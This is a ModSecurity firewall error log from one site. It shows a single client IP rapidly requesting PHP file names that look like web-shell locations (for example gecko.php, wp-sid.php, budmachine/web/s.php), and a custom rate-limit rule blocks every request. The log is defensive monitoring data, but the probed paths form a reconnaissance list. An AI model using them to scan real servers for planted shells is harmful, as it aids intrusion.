[Thu Dec 25 21:35:01.095415 2025] [:error] [pid 22131:tid 22145] [client 4.241.194.62:64189] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "aU09hZvVMtSTB4lX2fYpNwAAAEs"]
[Thu Dec 25 21:35:01.840672 2025] [:error] [pid 22131:tid 22135] [client 4.241.194.62:64156] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "aU09hZvVMtSTB4lX2fYpOgAAAEI"]
[Thu Dec 25 21:35:02.980145 2025] [:error] [pid 22131:tid 22159] [client 4.241.194.62:64167] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hplfuns.php"] [unique_id "aU09hpvVMtSTB4lX2fYpPwAAAFc"]
[Thu Dec 25 21:35:04.149124 2025] [:error] [pid 22131:tid 22140] [client 4.241.194.62:64884] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hplfuns.php"] [unique_id "aU09iJvVMtSTB4lX2fYpQQAAAEY"]
[Thu Dec 25 21:35:05.186123 2025] [:error] [pid 22131:tid 22149] [client 4.241.194.62:55713] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hplfuns.php"] [unique_id "aU09iZvVMtSTB4lX2fYpQwAAAE4"]
[Thu Dec 25 21:35:05.668404 2025] [:error] [pid 27869:tid 27885] [client 4.241.194.62:55701] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hplfuns.php"] [unique_id "aU09iRNK7_n86kBD7qfJZwAAAI4"]
[Thu Dec 25 21:35:06.296497 2025] [:error] [pid 22044:tid 22077] [client 4.241.194.62:64137] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-64wscx6shd.php"] [unique_id "aU09inPTC5rQKTB0FQ-QfgAAAMI"]
[Thu Dec 25 21:35:06.816230 2025] [:error] [pid 22131:tid 22156] [client 4.241.194.62:36418] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-64wscx6shd.php"] [unique_id "aU09ipvVMtSTB4lX2fYpRgAAAFQ"]
[Thu Dec 25 21:35:08.168400 2025] [:error] [pid 22043:tid 22068] [client 4.241.194.62:55706] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-64wscx6shd.php"] [unique_id "aU09jD4YVtlb2Iz_QE5GwgAAABQ"]
[Thu Dec 25 21:35:09.512377 2025] [:error] [pid 22045:tid 22118] [client 4.241.194.62:38806] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-64wscx6shd.php"] [unique_id "aU09jasGGmXjDnvlmHtibgAAAVA"]
[Thu Dec 25 21:35:10.613634 2025] [:error] [pid 22044:tid 22095] [client 4.241.194.62:53301] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gg.php"] [unique_id "aU09jnPTC5rQKTB0FQ-QhgAAANQ"]
[Thu Dec 25 21:35:11.766781 2025] [:error] [pid 22043:tid 22072] [client 4.241.194.62:55696] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gg.php"] [unique_id "aU09jz4YVtlb2Iz_QE5GxQAAABg"]
[Thu Dec 25 21:35:12.671019 2025] [:error] [pid 22043:tid 22053] [client 4.241.194.62:64168] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gg.php"] [unique_id "aU09kD4YVtlb2Iz_QE5GyAAAAAU"]
[Thu Dec 25 21:35:14.086373 2025] [:error] [pid 22131:tid 22139] [client 4.241.194.62:64155] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gg.php"] [unique_id "aU09kpvVMtSTB4lX2fYpXgAAAEU"]
[Thu Dec 25 21:35:14.679677 2025] [:error] [pid 22044:tid 22075] [client 4.241.194.62:55699] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ahax.php"] [unique_id "aU09knPTC5rQKTB0FQ-QiQAAAMA"]
[Thu Dec 25 21:35:15.673350 2025] [:error] [pid 27869:tid 27887] [client 4.241.194.62:64163] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ahax.php"] [unique_id "aU09kxNK7_n86kBD7qfJcQAAAJA"]
[Thu Dec 25 21:35:16.571311 2025] [:error] [pid 27869:tid 27885] [client 4.241.194.62:53307] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ahax.php"] [unique_id "aU09lBNK7_n86kBD7qfJdAAAAI4"]
[Thu Dec 25 21:35:16.964867 2025] [:error] [pid 27869:tid 27878] [client 4.241.194.62:64144] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ahax.php"] [unique_id "aU09lBNK7_n86kBD7qfJdgAAAIc"]
[Thu Dec 25 21:35:18.220984 2025] [:error] [pid 22043:tid 22057] [client 4.241.194.62:55687] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aU09lj4YVtlb2Iz_QE5GygAAAAk"]
[Thu Dec 25 21:35:18.679931 2025] [:error] [pid 22045:tid 22123] [client 4.241.194.62:64832] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aU09lqsGGmXjDnvlmHtieAAAAVU"]
[Thu Dec 25 21:35:19.129833 2025] [:error] [pid 22045:tid 22126] [client 4.241.194.62:64879] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aU09l6sGGmXjDnvlmHtiegAAAVg"]
[Thu Dec 25 21:35:20.273945 2025] [:error] [pid 22043:tid 22067] [client 4.241.194.62:55734] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aU09mD4YVtlb2Iz_QE5GywAAABM"]
[Thu Dec 25 21:35:21.479366 2025] [:error] [pid 27869:tid 27885] [client 4.241.194.62:53266] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/z60.php"] [unique_id "aU09mRNK7_n86kBD7qfJgQAAAI4"]
[Thu Dec 25 21:35:22.440033 2025] [:error] [pid 22044:tid 22095] [client 4.241.194.62:55724] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/z60.php"] [unique_id "aU09mnPTC5rQKTB0FQ-QlAAAANQ"]
[Thu Dec 25 21:35:23.037351 2025] [:error] [pid 22044:tid 22081] [client 4.241.194.62:53296] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/z60.php"] [unique_id "aU09m3PTC5rQKTB0FQ-QlQAAAMY"]
[Thu Dec 25 21:35:23.548155 2025] [:error] [pid 22131:tid 22153] [client 4.241.194.62:64887] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/z60.php"] [unique_id "aU09m5vVMtSTB4lX2fYpZwAAAFI"]
[Thu Dec 25 21:35:24.058673 2025] [:error] [pid 27869:tid 27895] [client 4.241.194.62:64882] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gecko.php"] [unique_id "aU09nBNK7_n86kBD7qfJhAAAAJg"]
[Thu Dec 25 21:35:24.686092 2025] [:error] [pid 22044:tid 22077] [client 4.241.194.62:55740] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gecko.php"] [unique_id "aU09nHPTC5rQKTB0FQ-QmQAAAMI"]
[Thu Dec 25 21:35:25.274462 2025] [:error] [pid 27869:tid 27874] [client 4.241.194.62:64147] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gecko.php"] [unique_id "aU09nRNK7_n86kBD7qfJhgAAAIM"]
[Thu Dec 25 21:35:25.941902 2025] [:error] [pid 22045:tid 22124] [client 4.241.194.62:55714] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gecko.php"] [unique_id "aU09nasGGmXjDnvlmHtifgAAAVY"]
[Thu Dec 25 21:35:26.667022 2025] [:error] [pid 27869:tid 27877] [client 4.241.194.62:55723] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abcd.php"] [unique_id "aU09nhNK7_n86kBD7qfJiAAAAIY"]
[Thu Dec 25 21:35:27.128640 2025] [:error] [pid 22043:tid 22052] [client 4.241.194.62:53274] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abcd.php"] [unique_id "aU09nz4YVtlb2Iz_QE5GzAAAAAQ"]
[Thu Dec 25 21:35:28.561964 2025] [:error] [pid 27869:tid 27880] [client 4.241.194.62:53257] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abcd.php"] [unique_id "aU09oBNK7_n86kBD7qfJjQAAAIk"]
[Thu Dec 25 21:35:28.829543 2025] [:error] [pid 22045:tid 22123] [client 4.241.194.62:53263] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abcd.php"] [unique_id "aU09oKsGGmXjDnvlmHtigwAAAVU"]
[Thu Dec 25 21:35:29.413659 2025] [:error] [pid 27869:tid 27886] [client 4.241.194.62:55736] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kdgok.php"] [unique_id "aU09oRNK7_n86kBD7qfJjgAAAI8"]
[Thu Dec 25 21:35:30.363738 2025] [:error] [pid 22131:tid 22136] [client 4.241.194.62:64165] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kdgok.php"] [unique_id "aU09opvVMtSTB4lX2fYpaQAAAEM"]
[Thu Dec 25 21:35:30.826415 2025] [:error] [pid 22045:tid 22110] [client 4.241.194.62:55722] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kdgok.php"] [unique_id "aU09oqsGGmXjDnvlmHtiigAAAUg"]
[Thu Dec 25 21:35:31.345062 2025] [:error] [pid 22043:tid 22061] [client 4.241.194.62:53254] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kdgok.php"] [unique_id "aU09oz4YVtlb2Iz_QE5GzgAAAA0"]
[Thu Dec 25 21:35:33.258887 2025] [:error] [pid 22044:tid 22096] [client 4.241.194.62:64840] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0x.php"] [unique_id "aU09pXPTC5rQKTB0FQ-QpAAAANU"]
[Thu Dec 25 21:35:34.333207 2025] [:error] [pid 22044:tid 22083] [client 4.241.194.62:64839] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0x.php"] [unique_id "aU09pnPTC5rQKTB0FQ-QpgAAAMg"]
[Thu Dec 25 21:35:35.559680 2025] [:error] [pid 27869:tid 27888] [client 4.241.194.62:55728] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0x.php"] [unique_id "aU09pxNK7_n86kBD7qfJlQAAAJE"]
[Thu Dec 25 21:35:36.282377 2025] [:error] [pid 22043:tid 22060] [client 4.241.194.62:55709] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0x.php"] [unique_id "aU09qD4YVtlb2Iz_QE5G0gAAAAw"]
[Thu Dec 25 21:35:37.708528 2025] [:error] [pid 22043:tid 22072] [client 4.241.194.62:64848] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/okxh.php"] [unique_id "aU09qT4YVtlb2Iz_QE5G1AAAABg"]
[Thu Dec 25 21:35:38.362770 2025] [:error] [pid 22131:tid 22152] [client 4.241.194.62:64876] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/okxh.php"] [unique_id "aU09qpvVMtSTB4lX2fYpbgAAAFE"]
[Thu Dec 25 21:35:38.856470 2025] [:error] [pid 22131:tid 22155] [client 4.241.194.62:53289] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/okxh.php"] [unique_id "aU09qpvVMtSTB4lX2fYpbwAAAFM"]
[Thu Dec 25 21:35:55.574764 2025] [:error] [pid 27869:tid 27879] [client 4.241.194.62:64890] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ww3.php"] [unique_id "aU09uxNK7_n86kBD7qfJzgAAAIg"]
[Thu Dec 25 21:35:55.999041 2025] [:error] [pid 22044:tid 22084] [client 4.241.194.62:64844] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ww3.php"] [unique_id "aU09u3PTC5rQKTB0FQ-QsgAAAMk"]
[Thu Dec 25 21:35:56.881566 2025] [:error] [pid 22044:tid 22082] [client 4.241.194.62:55695] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ww3.php"] [unique_id "aU09vHPTC5rQKTB0FQ-QtQAAAMc"]
[Thu Dec 25 21:35:57.761162 2025] [:error] [pid 22045:tid 22110] [client 4.241.194.62:55702] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ww3.php"] [unique_id "aU09vasGGmXjDnvlmHtiqgAAAUg"]
[Thu Dec 25 21:35:58.216952 2025] [:error] [pid 22043:tid 22059] [client 4.241.194.62:38795] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/budmachine/web/s.php"] [unique_id "aU09vj4YVtlb2Iz_QE5G5QAAAAs"]
[Thu Dec 25 21:35:58.989446 2025] [:error] [pid 22043:tid 22052] [client 4.241.194.62:55711] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/budmachine/web/s.php"] [unique_id "aU09vj4YVtlb2Iz_QE5G6AAAAAQ"]
[Thu Dec 25 21:35:59.874547 2025] [:error] [pid 22044:tid 22097] [client 4.241.194.62:53281] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/budmachine/web/s.php"] [unique_id "aU09v3PTC5rQKTB0FQ-QtwAAANY"]
[Thu Dec 25 21:36:00.759021 2025] [:error] [pid 22045:tid 22112] [client 4.241.194.62:64175] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/budmachine/web/s.php"] [unique_id "aU09wKsGGmXjDnvlmHtisgAAAUo"]
[Thu Dec 25 21:36:01.296684 2025] [:error] [pid 22045:tid 22114] [client 4.241.194.62:55720] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-sid.php"] [unique_id "aU09wasGGmXjDnvlmHtiswAAAUw"]
[Thu Dec 25 21:36:02.333531 2025] [:error] [pid 22044:tid 22087] [client 4.241.194.62:55739] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-sid.php"] [unique_id "aU09wnPTC5rQKTB0FQ-QvQAAAMw"]
[Thu Dec 25 21:36:03.321672 2025] [:error] [pid 22045:tid 22116] [client 4.241.194.62:55683] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-sid.php"] [unique_id "aU09w6sGGmXjDnvlmHtitgAAAU4"]
